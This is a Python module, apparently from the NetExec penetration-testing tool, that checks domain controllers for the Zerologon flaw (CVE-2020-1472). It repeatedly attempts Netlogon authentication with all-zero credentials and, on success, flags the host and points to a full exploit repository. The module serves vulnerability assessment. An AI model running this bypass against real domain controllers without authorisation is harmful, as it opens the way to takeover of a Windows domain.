106 lines
4.1 KiB
Python
106 lines
4.1 KiB
Python
#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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# everything is comming from https://github.com/dirkjanm/CVE-2020-1472
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# credit to @dirkjanm
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# module by : @mpgn_x64
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from impacket.dcerpc.v5 import nrpc, epm, transport
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from impacket.dcerpc.v5.rpcrt import DCERPCException
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import sys
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from nxc.logger import nxc_logger
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# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be necessary on average.
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MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
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class NXCModule:
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name = "zerologon"
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description = "Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472"
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supported_protocols = ["smb", "wmi"]
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opsec_safe = True
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multiple_hosts = False
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def __init__(self, context=None, module_options=None):
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self.context = context
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self.module_options = module_options
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def options(self, context, module_options):
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""""""
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def on_login(self, context, connection):
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self.context = context
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if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname):
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self.context.log.highlight("VULNERABLE")
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self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
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try:
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host = self.context.db.get_hosts(connection.host)[0]
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self.context.db.add_host(
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host.ip,
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host.hostname,
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host.domain,
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host.os,
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host.smbv1,
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host.signing,
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zerologon=True,
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)
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except Exception as e:
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self.context.log.debug(f"Error updating zerologon status in database")
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def perform_attack(self, dc_handle, dc_ip, target_computer):
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# Keep authenticating until successful. Expected average number of attempts needed: 256.
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self.context.log.debug("Performing authentication attempts...")
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rpc_con = None
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try:
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binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
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rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
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rpc_con.connect()
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rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
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for attempt in range(0, MAX_ATTEMPTS):
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result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer)
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if result:
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return True
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else:
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self.context.log.highlight("Attack failed. Target is probably patched.")
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except DCERPCException as e:
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self.context.log.fail(f"Error while connecting to host: DCERPCException, " f"which means this is probably not a DC!")
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def fail(msg):
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nxc_logger.debug(msg)
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nxc_logger.fail("This might have been caused by invalid arguments or network issues.")
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sys.exit(2)
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def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer):
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# Connect to the DC's Netlogon service.
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# Use an all-zero challenge and credential.
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plaintext = b"\x00" * 8
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ciphertext = b"\x00" * 8
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# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
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flags = 0x212FFFFF
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# Send challenge and authentication request.
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nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + "\x00", target_computer + "\x00", plaintext)
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try:
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server_auth = nrpc.hNetrServerAuthenticate3(
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rpc_con,
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dc_handle + "\x00",
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target_computer + "$\x00",
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nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
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target_computer + "\x00",
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ciphertext,
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flags,
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)
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# It worked!
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assert server_auth["ErrorCode"] == 0
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return True
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except nrpc.DCERPCSessionError as ex:
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# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
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if ex.get_error_code() == 0xC0000022:
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return None
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else:
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fail(f"Unexpected error code from DC: {ex.get_error_code()}.")
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except BaseException as ex:
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fail(f"Unexpected error: {ex}.")
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